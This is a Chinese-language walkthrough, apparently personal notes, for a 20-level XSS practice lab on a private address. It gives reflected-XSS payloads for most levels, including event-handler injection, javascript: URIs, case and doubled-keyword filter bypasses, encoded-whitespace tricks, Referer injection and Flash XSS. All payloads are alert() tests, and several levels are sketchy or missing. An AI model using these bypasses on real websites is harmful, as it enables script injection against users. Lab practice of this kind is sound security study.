xssgame20关
流程
输入信息
查看在哪里输出, 构造闭合方式
<script>alert(1)</script>
' onclick=javascript:alert(1) '
' onclick=javascript:alert(1)//
' oninput=alert(1) //
<script>alert(123456)</script>
" oninput=alert(1) //
"><a href="javascript:alert('a')">1</a >//">
"><iframe src="javascript:alert('iframe')" width = "0" height ="0"/>
大写 " ONinput=alert(1) //
双重 "><scriscriptpt>alert(123456)</scscriptript>//
第一关
没有对输入结果的过滤
第二关
<input name=keyword value=" ">
<input name=keyword value=" <script>alert(1)</script> ">
<input name=keyword value=" "><script>alert(1)</script> ">
输入 "><script>alert(1)</script>
第二种闭合方式
<input name=keyword value=" " onmouseover="alert(1)" ">
" onmouseover="alert(1)"
鼠标滑动的时候 弹窗显示
第三关
由于输出在input标签,因此尝试闭合标签,通过事件触发弹窗
构造 <input name=keyword value=''onmouseover='alert(1)'>
' onclick=javascript:alert(1) '
' onclick=javascript:alert(1)//
' oninput=alert(1) //
第四关
发现两处输出处理方法不一样,尝试用事件构造闭合标签的payload
“ onclick=javascript:alert(1)//成功弹窗。
第五关
输入<script>alert(123456)</script>和" oninput=alert(1) //
从返回结果看,在闭合标签位置,被替代加了下划线
例如oninput==o_ninput,<script>==<scr_ipt>应该是程序对xss敏感的<script>和事件关键词做了过滤处理。
这里只能尝试不使用<script>和标签时间on**之类,
这里尝试利用<a>标签,
<input name=keyword value=""><a href="javascript:alert('a')">1</a >//">
构造payload如下"><a href="javascript:alert('a')">1</a >//点击链接1,触发弹窗
第六关
发现与第五关非常类似,但是不光替换了<script>,on...事件,herf,src也被替换了。
将关键词变换为大写,弹窗了," ONinput=alert(1) //
第七关
尝试用大写绕过,不成功,那就构造双重"><scriscriptpt>alert(123456)</scscriptript>//成功弹窗
第八关
这里尝试构造特殊的字符处理,就是在关键词中添加特殊的制表符,例如%0A,%09,可绕过检查。
%0A,换行制表符
%09 , tab制表符
例如构造payload
Javascri%0Apt:alert(1)
javascri%0Apt:Alert(1)
特别注意:payload在搜索框中输入时,会被浏览器进行编码,从而导致不能执行,payload需要在url直接输入
第九关
构造参数必须包含http://,同时敏感字符被做了替代,需要做变换,
采用与第8关类似的思路,构造如下payload:与第8关一样,payload需要在url中构造,防止浏览器的编码。
http://aaaJavas%0acript:alert(1)能从结果中看到已经被写入到了a标签内,但是没法执行,
因此需要变换格式为javascript:alert(1)//http://aaa.com成功执行弹窗
第十关:
发现隐藏表单
第11关
第11关
第十一关在笔者第一次操作的时候,按照10关做法,brup抓包,修改t_link的隐藏表单,也可以实现弹窗,
但看了下源码本关的设计目标并非于此
本关设计目的是在从第十关跳过来后,直接观察11关的源文件,从源文件可以看出,在t_ref的hidden表单内,value赋值了,
这个值就是来源于第十关到第十一关的请求。如图所示:本图为10-11关的请求,看到了referer字段。
refer处payload " type="text" oninput= "alert(1)"
第12关
13关
16关
本关过略了script,空格,以及/输出位置为center中间,
因此payload构造需要避免这些出现空格可以用%0d,%0a代替
<img%0Dsrc="1"%0Donerror=alert(1)>
<img%0asrc=1%0aonerror=alert(1)>
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
第十七关:
尝试更改参数,,观察输出位置
构造payload,直接构造onmouseover=alert(1),附加在b参数后面
http://192.168.58.129/xssgame/level17.php?arg01=a&arg02=bsss%20onmouseover=alert(1)
第十八关
尝试更改参数,观察输出位置跟17关没有区别,
也是同样位置构造同样的payload,可以弹窗onmouseover=alert(1),附加在b参数后面
第19关
http://192.168.58.129/xssgame/level19.php?arg01=a&arg02=b
观察输出位置,与18关非常类似,只是在src="xsf03.swf?a=b"中加入了双引号。
因此尝试构造payload中,需要闭合双引号。
尝试payload"onmouseover=alert(1)在arg02=b后面尝试加入"onmouseover=alert(1)从返回结果的源文件中可以看出,
双引号被html编码了因此,构造payload需要考虑如何闭合双引号的问题,突破不了,本关因为页面为flash,
因此本关考虑flash的xss,对于flash的XSS,需要对flash进行反编译(需要下载flash反编译软件),并研究flash代码。找到传参的函数以及参数如何传递,并基于上下文语法构造payload。
这里对于flash的代码不做详细的解释,给出如下payload可弹窗
level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>点击蓝色123,可直接弹窗。
第二十关:同样为flashxss,这里不在做详细分析,
paylaod如下http://192.168.58.129/xssgame/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height